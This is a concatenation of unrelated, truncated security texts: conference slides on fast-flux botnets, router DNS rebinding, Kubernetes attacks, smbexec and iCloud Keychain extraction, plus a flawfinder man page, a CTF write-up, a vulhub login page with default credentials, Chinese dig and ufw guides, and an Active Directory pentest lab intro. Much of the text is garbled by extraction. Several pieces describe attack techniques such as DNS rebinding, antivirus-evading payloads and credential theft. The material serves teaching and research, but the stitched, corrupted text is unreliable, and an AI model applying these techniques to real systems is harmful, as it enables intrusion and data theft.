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Catching)Malware)En)Masse):)DNS)and)IP)style! ! Dhia!Mahjoub!dhia@opendns.com!@DhiaLite!! Thibault!Reuille!thibault@opendns.com!@ThibaultReuille!! Andree!Toonk!andree@opendns.com!@atoonk!!!! Part!1:!Catching!Malware!DNS!style! !FasFlux!botnets!as!proxy!networks! Part!2:!Catching!Malware!IP!style! !ASN!graph! !Suspicious!sibling!ASNs! !DetecJng!sibling!ASNs!through!BGP!outages! !DetecJng!Malicious!IP!ranges! !DetecJng!Malicious!subdomains!under!compromised! domains! Part!3:!Visualizing!knowledge!with!our!3D!engine! !OpenGraphiJ! !SemanJc!Nets! !ParJcle!Physics! Conclusion! Part!1:! ! Catching!Malware!DNS!style! ! ! Background! AQackers!seek!to!keep!their!operaJons!online!at!all!Jmes! The!Network!=!the!hosJng!infrastructure!is! ) ) ) )CRUCIAL) ! Spam! Phishing! Malware!distribuJon! Botnets! Fast!ﬂux!botnets! Fast!ﬂux!botnets!serving!as!proxy!networks! Extra!evasion/protecJon!layer!for!actual!CnCs! Infected!hosts!<Y>!FF!proxy!network!<Y>!Backend!CnCs! Usages!of!proxy!network:! YServe!malware!pushed!from!CnCs!down!to!infected!clients! (via!driveYby,!spam,!etc.)! YForward!communicaJon!from!infected!clients!to!CnCs! e.g.!Kelihos!TTL!0,!zbot!TTL!150! Zeus!Crimeware! YControl!panel! YConﬁg!ﬁles!(contains!urls!for:!drop!zone,!extra!payload,!extra! conﬁgs,!target!websites!for!web!injects)! YBinary!ﬁles! YBuilder! CharacterisJcs:! YSteals!ﬁnancial!data:!online!bank!account!info,!credit!card! YSteals!sensiJve!credenJals! YWeb!injects! Zeus!CnCs! YCompromised!sites! YBulletproof!or!free!hosJng! YFast!ﬂux!botnet! ! CnC!domains!used!for!3!types!of!purposes:! YServe!conﬁguraJon!ﬁles! YServe!binary!ﬁles! YDrop!zones! Zbot!proxy!network! Fast!ﬂux!domains!with!TTL!=!150!sec!sharing!same!infected! hosts!infrastructure! ! DetecJon!methods:! 1) Periodic!batch!pig!job! 2) IP!harvesJng!+!streaming!auth!DNS!+!ﬁltering!heurisJcs! ! ! DetecJon!methods!(1)! YPeriodic!Pig!job!to!retrieve!domains!with!TTL!=!150!from! authoritaJve!logs! YFilter!out!noise!domains!such!as!spam,!legiJmate!domains! k


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FLAWFINDER(1) Flawﬁnder FLAWFINDER(1) NAME ﬂawﬁnder  lexically ﬁnd potential security ﬂaws ("hits") in source code SYNOPSIS ﬂawﬁnder [help|h] [version] [listrules] [allowlink] [followdotdir] [nolink] [patch=ﬁlename|P ﬁlename] [inputs|I] [ minlevel=X | m X ] [falsepositive|F] [neverignore|n] [regex=PA TTERN | e PA TTERN] [context|c] [columns|C] [csv] [dataonly|D] [html|H] [immediate|-i] [single- line|S] [omittime] [quiet|Q] [loadhitlist=F] [savehitlist=F] [diffhitlist=F] [] [ source code ﬁle or source root directory ]+ DESCRIPTION Flawﬁnder searches through C/C++ source code looking for potential security ﬂaws. To run ﬂawﬁnder, simply give ﬂawﬁnder a list of directories or ﬁles. For each directory given, all ﬁles that have C/C++ ﬁle- name extensions in that directory (and its subdirectories, recursively) will be examined. Thus, for most projects, simply give ﬂawﬁnder the name of the source codes topmost directory (use . for the current directory), and ﬂawﬁnder will examine all of the projects C/C++ source code. Flawﬁnder does not require that you be able to build your software, so it can be used even with incomplete source code. If you only want to have changes reviewed, save a uniﬁed diff of those changes (created by GNU "diff -u" or "svn diff" or "git diff") in a patch ﬁle and use the patch (P) option. Flawﬁnder will produce a list of hits (potential security ﬂaws, also called ﬁndings), sorted by risk; the riskiest hits are shown ﬁrst. The risk level is shown inside square brackets and varies from 0, very little risk, to 5, great risk. This risk level depends not only on the function, but on the values of the parameters of the function. For example, constant strings are often less risky than fully variable strings in many contexts, and in those contexts the hit will have a lower risk level. Flawﬁnder knows about gettext (a common library for internationalized programs) and will treat constant strings passed through gettext as though they were constant strings; this


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# CCLS (forensics, 31 solved, 146p) ``` Ray said that the challenge "Leaf-Similar Trees" from last LeetCode Weekly was really same-fringe problem and wrote it in the form of coroutine which he learned from a Stanford friend. Can you decrypt the cache file dumped from a language server without reading the source code? The flag is not in the form of rwctf{} because special characters cannot be used. ``` In the task we get some [binary data](fringe.cc.blob) which turns out to be an index file from CCLS language server, generated for some source code. In short, this is an index file used to provide code-completion in some compatible code editors. As a result this file contains some meta-information about the source code it was generated for. Reading the blob is hard, so we used a short code to transcribe this to a `json` format, which is also supported in CCLS: ```c int main(int argc, char** argv) { std::ifstream input("fringe.cc.blob"); std::string data; input.seekg(0, std::ios::end); int size = input.tellg(); data.reserve(size); input.seekg(0, std::ios::beg); data.assign((std::istreambuf_iterator<char>(input)), std::istreambuf_iterator<char>()); auto ptr = Deserialize(SerializeFormat::Binary, "bleh.cc", data, "<empty>", std::nullopt); if (ptr.get() == nullptr) { std::cerr << "Error! Deserialize"; return -1; } std::cout << ptr->ToString(); return 0; } ``` As a result we got a nice [json file](fringe.json). This file was much easier to read, but still flag was no-where to be seen. Initially we were afraid that the goal is to reconstruct the source code, based on the index information (eg. where certain functions and variables appear), and flag will be provided as `result` of the code. This was even more probable when one of variables had: ```json { "usr": 7704954053858737267, "detailed_name": "int b", "qual_name_offset": 4, "short_name_offset": 4, "short_name_size": 1, "hover": "", "comments": "flag is here", "declarations": [], "spell": "16:80-16:81|1935187987660993811


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How to Hack Millions of Routers Craig Heffner, Seismic LLC SOHO RouterSecurity? Common Attack Techniques  Cross Site Request Forgery  No trust relationship between browser and router  Cant forge Basic Authentication credentials  Anti-CSRF  Limited by the same origin policy  DNS Rebinding  Rebinding prevention by OpenDNS / NoScript / DNSWall  Most rebinding attacks no longer work  Most Multiple A Record Attack  Better known as DNS load balancing / redundancy  Return multiple IP addresses in DNS response  Browser attempts to connect to each IP addresses in order  If one IP goes down, browser switches to the next IP in the list  Limited attack  Can rebind to any public IP address  Cant rebind to an RFC1918 IP addresses Rebinding to a Public IP 1.4.1.4 2.3.5.8 Target IP: 2.3.5.8 Attacker IP: 1.4.1.4 Attacker Domain: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 What is the IP address for attacker.com? Rebinding to a Public IP 1.4.1.4 2.3.5.8 1.4.1.4 2.3.5.8 Rebinding to a Public IP 1.4.1.4 2.3.5.8 GET / HTTP/1.1 Host: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 <script></script> Rebinding to a Public IP 1.4.1.4 2.3.5.8 GET / HTTP/1.1 Host: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 TCP RST Rebinding to a Public IP 1.4.1.4 2.3.5.8 GET / HTTP/1.1 Host: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 <html></html> Rebinding to a Private IP 1.4.1.4 Target IP: 192.168.1.1 Attacker IP: 1.4.1.4 Attacker Domain: attacker.com 192.168.1.1 Rebinding to a Private IP 1.4.1.4 What is the IP address for attacker.com? 192.168.1.1 Rebinding to a Private IP 1.4.1.4 1.4.1.4 192.168.1.1 192.168.1.1 Rebinding to a Private IP 1.4.1.4 GET / HTTP/1.1 Host: attacker.com 192.168.1.1 Rebinding to a Private IP 1.4.1.4 <html></html> 192.168.1.1 Services Bound to All Interfaces # netstat l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:80 *:* LISTEN tcp 0 0 *:53 *:* LISTEN tcp 0 0 *:22 *:* LISTEN tcp 0 0


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<!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <!DOCTYPE HTML> <html> <head> <title>Getting Started: Serving Web Content</title> <!--/*/ <th:block th:include="fragments/head :: head"/> /*/--> </head> <body> <div class="container"> <div class="row"> <div class="col-md-4 col-md-offset-4"> <p>Here are a few sample accounts to play with from the text-based Realm</p> <table class="table"> <thead> <tr> <th>Username</th> <th>Password</th> <th>Roles</th> </tr> </thead> <tbody> <tr> <td>admin</td> <td>vulhub</td> <td>admin</td> </tr> </tbody> </table> </div> </div> <div class="row"> <div class="col-md-4 col-md-offset-4"> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Login</h3> </div> <div class="panel-body"> <form name="loginform" action="" method="POST" accept-charset="UTF-8" role="form"> <fieldset> <div class="form-group"> <input class="form-control" placeholder="Username or Email" name="username" type="text"/> </div> <div class="form-group"> <input class="form-control" placeholder="Password" name="password" type="password" value=""/> </div> <input class="btn btn-lg btn-success btn-block" type="submit" value="Login"/> </fieldset> </form> </div> </div> </div> </div> </div> <!-- jQuery (necessary for Bootstra


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Infiltrate Your Kubernetes Cluster Kubernetes in Attacker View Zhaoyan Xu Principle Research Engineer Palo Alto Networks May 29, 2019 Tongbo Luo Chief AI Secruity Scientist JD.com Agenda Background Security Features of Kubernetes Attack Vectors Lateral Movement Practices Questions Background  Kubernetes becomes popular worldwide  All mainstream cloud provider their K8s cluster, such as AKS/EKS/GKE, etc.  According to iDatalabs[1] report, around 3,804 companies use K8s for their web application deployments  Yearly user growth rate over 150%  How secure is K8s?  Is K8s vulnerable to traditional attacks?  What are new attack vectors for K8s clusters?  How to conduct penetration test on your K8s cluster? Essentials of Containerized Microservice Service Mesh Layers Istio Linkerd Orchestrator Layers K8s Openshift Container Application Layers Docker Kata Container Rkt Essentials of K8s Server-side Components: api-server: central server Controller-manger Scheduler Authentication/Authorization/Admission Control etcd: kv store Client-side Components: kubelet: install on each host/virtual host kubeproxy: traffic management/redirection Terminology in K8s World Pod: minimal unit for service schedule, containing one or more containers. Deployment: bundle for one web application, such as combining db, frontend and backend server together. Service: interface to expose your web application. Service Accounts: user account in K8s. Role/Rolebinding: role-based access control in K8s. Agenda Background Security Features of Kubernetes Attack Vectors Lateral Movement Practices Questions Overview of K8s Security Features(v1.12.7) Isolation Pod-level Isolation Network Security Policy for Namespace Isolation Authentication HTTPs for all Traffic Token, Client certificates, third-party Authentication Authorization Role-based Access Control Admission Control (for pod, deployment, etc) Pre-shipped Admission Control Pod Security Policy Pod Security Policy cont Illustration of Built-in Security Fea


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Christopher Pogue is the Managing Consultant of the SpiderLabs Incident Response and Digital Forensics team. Having served as a US Army Signal Corps Warrant Oﬃcer, he worked on digital forensic invesIgaIons and as Cyber Security Instructor. Pogue joined the IBM Internet Security Systems (ISS) X-Force aPer leaving the military. As a PenetraIon Tester and Forensic InvesIgator with IBM, he performed over 300 penetraIon tests and 50 invesIgaIons. In his role with SpiderLabs, Pogue leads the team that performs invesIgaIons all over the United States, Central and South America, and the Caribbean Islands. He also assists local, state, and federal law enforcement agencies with cases involving digital media. Tim MaleIc is a Senior Security Consultant within the PenetraIon TesIng team at Trustwave's SpiderLabs. Tim has been working in IT since the birth of the web, and has been focused full-Ime on informaIon security since 2001. Prior to joining Trustwave, Tim held posiIons as Senior UNIX Engineer, Senior Security Engineer, and InformaIon Security Oﬃcer. 1 7/29/12 Trustwave SpiderLabs DEF CON 20 Welcome! Were very excited to have this opportunity to share some ideas about pushing incident response, forensics, and penetraIon tesIng to the next level. We are honored, and humbled, to present to a DEF CON audience. Our mission is to inspire network defenders and a`ackers to work more closely together to make each other be`er. Well ﬁnish oﬀ the session with a giant group hug and a few rounds of Kum ba ya!  But ﬁrst were going to introduce ourselves and our methods and the problems we see ourselves trying to address. Well then give a quick, advanced introducIon to the forensics methodology we call Sniper Forensics. Well follow that up with our contribuIons to what were calling the Real-World PenetraIon TesIng movement. Next were going to show how we are applying these ideas in context by stepping through some sample a`acks that do and do not exemplify our methods. Then well wrap-up


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MAELSTROM Shane Steiger Attack Lifecycle Game Concept version .8  2016 Are You Playing with a Full Deck? #cybermaelstrom github.com/maelstromthegame MAELSTROM: AN ATTACK LIFECYCLE GAME CONCEPT Maelstrom is a game concept and model meant to enable Education, Demonstration and Evangelism within Cyber Security disciplines. The game concept is intended to span from the 8th grade levels to the cyber security Ninja (locked in his moms basement). It is based on the Lockheed Martin Kill Chain Attack Lifecycle. The game also borrows concepts from several MITRE Frameworks, attack patterns mapped from previous cyber campaigns and from real cyber security life. The Attackers goal is to reach a progressive Action on Objective. The Defenders will play cards, tactics and strategies to prevent this progression. Pick your side, pick your Actor and pick your Act on Objective, buy or build your own cards. Hope you dont lose! Are You Playing with a Full Deck? OFFICIAL RULES CONTENTS: Include a game board (Figure 1), initial game cards for the red Attacker Deck, a blue Defender Deck (Figure 2), a green Act on Objective Deck, (optional Expansion packs of build your own not shown), 2 dice, 9 Actor poker chip game pieces, tablets, pens and money. Figure 1 MAELSTROM Game Board Anatomy of the Maelstrom board consists of multiple stages of an Attack Lifecycle (Lockheed Martin based in this case) where the start position for the Attacker is Reconnaissance. The 6 dots between phases indicate positions. Reconnaissance, Weaponization, Delivery, Exploit, Install, Command and Control (C2), Act on Objects are each phases in which on the appropriately labeled cards can be played. GAME SETUP FIRST: Pick how many players Attackers SECOND: Attacker picks or draws their Threat Actor: Pick from (12): LIST  State Actor, Ware Fighter, Freelance Spy, Script Kiddies, Political/Social, Insider Threat, Hacktivist, Disgruntled Employee, Corporate Spy, Criminal Organization, Criminal Freelance, Joker Attacker doe


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Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. Getting the goods with smbexec Eric Milam  Brav0hax Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. Dont you know who I am?  Attack & Pen -> Accuvant LABS  Open Source Projects -> easy-creds, smbexec, Kali Linux Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. What is smbexec? What does it do? Why should I care?  Theres nothing 0 day here! BOO!  Yes, but automation is awesome!  You can use this tool immediately  It will make post-exploitation much easier Whats this all about? Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved.  Bash script, yes, a bash script  1 week of work, consuming a years worth of Mountain Dew  Power of the tool lies in smbclient & winexe  smbclient to get/put files  winexe to execute What is smbexec? Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved.  Standard msf payloads with psexec module kept getting popped by AV  Custom exes also popped because AV trigger is on injection (service protection)  Damn you trend micro, but thanks for the motivation  Blog post from Carnal0wnage  Upload and execute your payload Why write smbexec? Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. I want my shells and I want them now!  Creates an obfuscated payload that will bypass most commercial AV  Creates a Metasploit rc file and launches a Metasploit listener to make things easy. What have you done for me lately? Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserved. What? You can get all this great stuff with winexe and native windows commands? Going Native Proprietary and Confidential. Do Not Distribute.  2013 Accuvant, Inc. All Rights Reserv


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How You Can Buy AT&T, T-Mobile, and Sprint Real-Time Location Data on the Black Market Joseph Cox, DEF CON 27 There is a new bail bond database company that is geo tracking people. People are reselling o the wrong people. Call me [REDACTED] Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Wed like to test the ping if I give you one of our own US numbers, would that work to test? Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Wed like to test the ping if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Wed like to test the ping if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure So the number is [REDACTED]. When do you think it will be doable? Id rather explain it telephonically. I know a ton about the subject and the industry. Many peoples rights are being violated Wed like to test the ping if I give you one of our own US numbers, would that work to test? If you are paying the 300 sure So the number is [REDACTED]. When do you think it will be doable? Ok let me ﬁgure this out You know more about location data, or anything else you think should be published? Signal: +44 20 8133 5190 Wickr: josephcox Jabber: jfcox@jabber.ccc.de Email: joseph.cox@vice.com  How our source bought that location data  How our source bought that location data  The supply chain of location data, and the diﬀerent roles companies play in it  How our source bought that location data  The supply chain of location data, and the diﬀerent roles companies play in it  Leaked documents which show the scale of this loc


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dig === 域名查询工具 ## 补充说明 **dig命令** 是常用的域名查询工具可以用来测试域名系统工作是否正常 ### 语法 ```shell dig(选项)(参数) ``` ### 选项 ```shell @<服务器地址>指定进行域名解析的域名服务器 -b<ip地址>当主机具有多个IP地址指定使用本机的哪个IP地址向域名服务器发送域名查询请求 -f<文件名称>指定dig以批处理的方式运行指定的文件中保存着需要批处理查询的DNS任务信息 -P指定域名服务器所使用端口号 -t<类型>指定要查询的DNS数据类型 -x<IP地址>执行逆向域名查询 -4使用IPv4 -6使用IPv6 -h显示指令帮助信息 ``` ### 参数 * 主机指定要查询域名主机 * 查询类型指定DNS查询的类型 * 查询类指定查询DNS的class * 查询选项指定查询选项 ### 实例 ```shell [root@localhost ~]# dig www.baidu.com ; <<>> DiG 9.10.6 <<>> www.baidu.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.baidu.com. IN A ;; ANSWER SECTION: www.baidu.com. 963 IN CNAME www.a.shifen.com. www.a.shifen.com. 63 IN A 180.101.50.242 www.a.shifen.com. 63 IN A 180.101.50.188 ;; Query time: 14 msec ;; SERVER: 119.29.29.29#53(119.29.29.29) ;; WHEN: Wed May 10 16:16:36 CST 2023 ;; MSG SIZE rcvd: 101 ```


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# ufw --- ## 安装 ```bash sudo apt update && sudo apt install ufw ``` ## 配置及使用 默认情况下ufw 的配置文件在 `/etc/default/ufw` 然后用户定义的防火墙规则文件会存在 `/etc/ufw/*.rules` 和 `/lib/ufw/*.rules` UFW 默认允许所有出站连接拒绝所有入站连接 ``` sudo ufw default deny incoming sudo ufw default allow outgoing ``` **允许管理 IPv6** ```diff sudo vim /etc/defaulf/ufw ++ IPV6=yes ``` **允许 SSH 连接** ```bash sudo ufw allow ssh # 等价于 sudo ufw allow 22 # 如果修改了SSH连接端口记住相应的允许端口连接 ``` **允许 HTTP/HTTPS** ```bash sudo ufw allow http # 等价于 sudo ufw allow 80 sudo ufw allow https sudo ufw allow 443 ``` 默认情况下 ufw allow 不加 in 是指允许入站连接如果要允许出站加上 out ``` sudo ufw allow in port sudo ufw allow out port ``` **允许指定端口的协议** ```bash sudo ufw allow ftp # 等价于 sudo ufw allow 21/tcp ``` **允许指定范围的端口连接和协议** ```bash sudo ufw allow 6000:6005/tcp sudo ufw allow 7000:7005/udp ``` **允许指定的IP连接** 默认情况下相应的端口允许所有 IP 连接通过 from 指定允许某 IP 的连接 ```bash sudo ufw allow from 123.45.67.89 sudo ufw allow from 123.45.67.89 to any port 22 ``` 如果要允许子网的连接 ```bash sudo ufw allow from 15.15.15.0/24 sudo ufw allow from 15.15.15.0/24 to any port 22 ``` **拒绝连接** ```bash # 和允许连接一样只要将相应的 allow 换成 deny 即可 sudo ufw deny from 123.45.67.89 ``` **查看规则** ```bash sudo ufw status numbered ``` **删除规则** ```bash # 每条规则前都有一个序号 sudo ufw delete [number] sudo ufw delete allow http # 等价于 sudo ufw delete allow 80 ``` **查看 UFW 状态** ```bash sudo ufw status verbose sudo ufw show added ``` **启用禁用 UFW** ```bash sudo ufw enable sudo ufw disable # ufw 默认会开机启动如果没有手动设置 sudo systemctl start ufw sudo systemctl enable ufw ``` **启用日志** ```bash sudo ufw logging on sudo ufw logging off sudo ufw logging low|medium|high # 指定日志级别 日志文件在 /var/log/ufw.log ``` **重置防火墙** ```bash sudo ufw reset # 这条命令将禁用 ufw并删除所有定义的规则,默认情况下 ufw 会备份规则 ``` --- ## Source & Reference - [Linux 下的防火墙 ufw](http://einverne.github.io/post/2018/04/ufw.html)


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BITSQUATTING DNS HIJACKING WITHOUT EXPLOITATION ARTEM DINABURG DEFCON 19 About Me J The Problem Aﬀected PlaHorms Low Skill Cheap Bitsquatting Like typosquaPng, but for bits TyposquaPng There are 1500 daily DNS requests per person. Humans type 3 of them. 1 0 0 1 01100011 01101110 01101110 01100011 01101111 01101110 01100011011011100110111000101110011000110110111101101101 01100011011011110110111000101110011000110110111101101101 C N N . C O M C O N . C O M Heat CAUSES OF BIT-ERRORS: iPhone OperaXng Temperature 0 20 40 60 80 100 120 Temperature (F) Las Vegas Montreal iPhone CAUSES OF BIT-ERRORS: Electrical Problems CAUSES OF BIT-ERRORS: Defects CAUSES OF BIT-ERRORS: Cosmic Rays 10000 - 1/4 5X lOX Fail rate - Cosmic ray flux  1/2 IBM Journal of Research and Development, vol. 40, no. 1, page 13 Lets talk about DRAM 1 10 100 1000 10000 100000 "ultra low" failure rates 160GBits of DRAM 1Gbit 0.25 micron 256MBytes 32 Gbits of DRAM (Cray YMP-8) Mfg 1, 1GB DIMM Mfg 1, 2GB DIMM Mfg 1, 4GB DIMM Mfg 2, 1GB DIMM Mfg 2, 2GB DIMM Mfg 3, 1GB DIMM Mfg 4, 1GB DIMM Mfg 5, 2GB DIMM Mfg 6, 2GB DIMM Mfg 6, 4GB DIMM Micron EsXmate (256 Mbytes) Nite Hawk some 0.13 micron SRAM and DRAM Failures in Test (FIT, Logarithmic Scale) DRAM Failure Rates For a PC with 4GiB of DRAM, error esDmates range from to . 600 PiB Experiment: Step 1 ikamai.net aeazon.com a-azon.com amazgn.com microsmft.com micrgsoft.com miarosoft.com iicrosoft.com microsnft.com mhcrosoft.com eicrosoft.com mic2osoft.com micro3oft.com doublechick.net do5bleclick.net doubleslick.net li6e.com 0mdn.net 2-dn.net 2edn.net 2ldn.net 2mfn.net 2mln.net 2odn.net 6mdn.net fbbdn.net fbgdn.net gbcdn.net fjcdn.net dbcdn.net roop-servers.net gmaml.com Experiment, Step 2 ! " !"#$%&'()(*+,&($ !-#$%&.()(*+,&($ /01,/12,'3',/44 !-#$%&'()(*+,&($ /01,/12,'3',/44 N Experiment, Step 3 ! " !"#$%$&##'%()( &*+,-$./01*+*2,)0*. &##'%()($343$56#$76859 N 0 200 400 600 800 1000 1200 1400 1600 1800 26-Sep-10 3-Oct-10 10-Oct-10 17-Oct-10 24-Oct-10 31-Oct-10 7-Nov-


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SHAREENUM: WE WRAPPED SAMBA SO YOU DONT HAVE TO Lucas Morris @lucasjmorris Michael McAtee @michael.mcatee About Us Lucas Morris Manager at Crowe Horwath LLP Manager, Pentester, Code Monkey Michael McAtee Senior Consultant at Crowe Horwath LLP Pentester, SysAdmin, [something funny here] About Us Lucas Morris => emperorcow@gmail.com => @lucasjmorris => github.com/emperorcow Michael McAtee => jmmcatee@gmail.com => @michaelmcatee => github.com/jmmcatee https://github.com/emperorcow/shareenum Overview SMB / CIFS Refresher Windows Permissions Refresher (DACLs, SDDL, ACEs, etc.) The Problem With Scanning Today What Share Scanning Is Good For Tools! Windows File Sharing CIFS Basically SMB 1.0 Mostly open & is the published spec that others implement to SMB SMB 1.0: Windows XP, Server 2003 R2, & Prior SMB 2.0: Windows Vista, Server 2008, & Above SMB 2.1: Windows 7, Server 2008 R2, & Above SMB 3.0: Windows 8, Server 2012, & Above SMB 3.02: Windows 8.1, Server 2012 R2 Types of Shares Special Types of Shares (IPC$, ADMIN$, C$) $ = Hidden usually IPC$ = InterProcess Communication ADMIN$ = C:\Windows\System32 C$, D$, etc. = Drive Shares These are default an rarely removed Although you can disable them (http://support.microsoft.com/kb/954422) Shares - Permissions Discretionary Access Control List (DACL) REVISION:1,OWNER:2K8-WIN7-01\ShareEnumUser1, GROUP:PROD\Domain Users, ACL:2K8\shareenumdomuser1:0/16/0x001f01ff Access Control Entry (ACE) BUILTIN\Administrators:0/0/0x001f01ff Shares - Permissions Shares Read View files & folders View files & folder contents Change Add files & folders Change data in files Delete folders and files Full Control Change NTFS permissions NTFS Full Control Modify Read & Execute List Folder Contents Read Write Special Permissions  Shares - Permissions Shares - Permissions Special Permissions Traverse Folder/Execute File List Folder/Read Data Read Attributes Read Extended Attributes Create Files/Write Data Create Folders/Append Data Write Attributes Write


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D E F C O N 1 3 Windows vs FreeBSD vs Linux Windows vs FreeBSD vs Linux Or: Why Deploying Linux in your Environment is Suicide D E F C O N 1 3 Dont Believe Anything I Say Dont Believe Anything I Say  "Do not believe in anything simply because you have heard it. Do not believe in anything simply because it is spoken and rumored by many. Do not believe in anything simply because it is found written in your religious books. Do not believe in anything merely on the authority of your teachers and elders. Do not believe in traditions because they have been handed down for many generations. But after observation and analysis, when you find that anything agrees with reason and is conducive to the good and benefit of one and all, then accept it and live up to it. - Buddha  Daytime - Security consultant  Beltway bandit in Linthicum MD  Night - Founder of the Shmoo Group, Capital Area Wireless Network, periodic author D E F C O N 1 3 For Your Safety and The Safety of Those Around You For Your Safety and The Safety of Those Around You Linux Zealots Linux Zealots Windows / BSD / Others Windows / BSD / Others  This talk may be not much more than flamebait  You may be reminded of a /. Discussion  This talk is meant to be interactive D E F C O N 1 3 Lets Talk about Security Lets Talk about Security  For the feds, Information Assurance  Tactical Coding Error vs Design Flaw  Script kiddie vs Dedicated Attacker  Host Hardening vs Long term operational security D E F C O N 1 3 Long term Operational Security Long term Operational Security  Often overlooked aspect of security  We are not an end in and of ourselves.  Further, an IDS does not operational security make  Any idiot can be trained to secure a host  Look at all the security books on the shelf  Running a long term secure enterprise is the tough thing D E F C O N 1 3 Enter Rant Mode Enter Rant Mode D E F C O N 1 3 Potters Pyramid of IT Security Needs Potters Pyramid of IT Security Needs IDS Patch Mgt Op. Procedures Firewalls Auth


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ElcomSoft.com ElcomSoft.com  2017 Vladimir Katalov ElcomSoft Co.Ltd. Moscow, Russia Breaking)into)the)iCloud)Keychain ElcomSoft.com Page 2 [Some)of])our)customers ElcomSoft.com Page 3 What)do)we)want)to)hack)today? 1.All)users)passwords 2.Credit)card)data ElcomSoft.com Page 4 Whats)inside)the)smartphone? (tip:&almost&everything)  Contacts)&)calendars  Call)logs)and)text)messages)  Emails)and)chats  Account'and'application'passwords  Web'and'Wi-Fi'passwords  Credit'card'data  Documents,)settings)and)databases  Web)history)&)searches  Pictures)and)videos  Geolocation)history,)routes)and)places  3rd party)app)data  Cached)internet)data  System)and)application)logs  Social)network)activities ElcomSoft.com  Problems  Different&platforms&(Apple,&Google,&Microsoft)  Many&vendor-specific&clouds  3rd party&cloud&services  Credentials&needed&(password&or&token)  Profits  No&physical&access&needed  May&be&performed&silently  Backup  No)standard)way)to)get  Might)not)be)available  Almost)all)data)from)device  Sync  Limited)set)of)data  Most)critical)real-time)data  Synced)across)all)devices  Storage  Only)files/documents  Easy)to)access Page 5 Data)acqusition methods)|)Cloud)acquisition)pros)and)cons  JTAG/chip-off  No)test)access)port)on)many)devices  Full)disk)encryption  Physical  Limited)compatibility  Data)may)be)encrypted  Logical  Limited)compatibility  Bypassing)screen)lock)is)needed  Cloud  Limited)set)of)data)// oh,$really?$J  Need)credentials  Legal)problems ElcomSoft.com  Full)device)backups)are)sometimes)available  3rd party)application)data)is)usually)not)available  Passwords)are)additionally)encrypted)with)hardware-specific key  Daily)backups)(in)best)case,)until)forced)from)the)device)  Backups)cannot)be)forced)remotely  3rd party)software)is)needed  Almost)no)way)to)manage  Slow)access,)long)download  Account)might)be)locked)due)to)suspicious)activity Page 6 Cloud)services:)backups)[iCloud] ElcomSoft.com Page 7 Cloud)services:)synced)data)[iCloud]  Contacts  Ca


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域渗透从入门到自闭 前期准备 前言 本系列列在于从简单的Windows域环境搭建到利利用域的特性通过哈希传递攻击凭证窃取技术 结合互联网公布现成的安全研究工具进行行域横向移动渗透最终到达我们目标拿到ad域控 制器器权限 实验环境设置 下面列列出本次实验环境计算机跟练习中的一些配置设置均在VMWARE下完成 我们的域名将被命名为h4x0er.org公司因此创建域然后将这些PC电脑加入域lets go! 本次实验环境一共有三台电脑一台AD域控制器器DC另外两台员工PC 系统ISO下载地址: https://msdn.itellyou.cn/ Windows Server 2012(DC1) 1.修改计算机名 2.修改IP地址 3.服务器器管理理器器角色添加AD 一路路下一步到服务器器角色选择Active Directory域服务添加功能 继续一路路下一步到指定备用源选择自己Windows Server 2012 R2的安装光盘位置路路径这里里 我的光盘路路径是D:\source\sxs指定完后确定点击安装 4.安装AD域控制器器 回到我们服务器器管理理器器界面点击 添加新林林输入根域名:h4x0er.org 输入一个符合复杂度的密码点击下一步 域数据存放位置 一路路下一步安装 Windows7(Admins-PC/Victims-PC) 另外两台PC配置类似 1.设置计算机名 2.设置IP地址 3.加入域控 两台机器器加入完域后必须重启计算机 4.关闭防火墙 重启完电脑后把所有防火墙关闭 现在所有的电脑都加入了了域接下来我们添加一些账号跟组到域环境当中 域账号设置 在本次实验练习当中你将看到helpdesk帮助台和域管理理员之间进行行分离但其实并没有什什么 用不不足以防止凭证窃取让我们创建一个helpdesk组作为安全组进行行分离 组名 成员 描述 Helpdesk PonyM 用于管理理h4x0er.org域客户端 开始菜单->运行行>dsa.msc->容器器Users->右击新建->点击组->输入组名HelpDesk->确定 或直接在域控服务器器下以administrator权限输入命令 net group HelpDesk /add /domain 进行行创建安全组HelpDesk 让我们在域中创建三个用户 姓名 登录账号 描述 登录机器器 Jack Ma JackM 悔悔创阿里里Jack马是遭受钓鱼 邮件的受害者 VICTIMS-PC 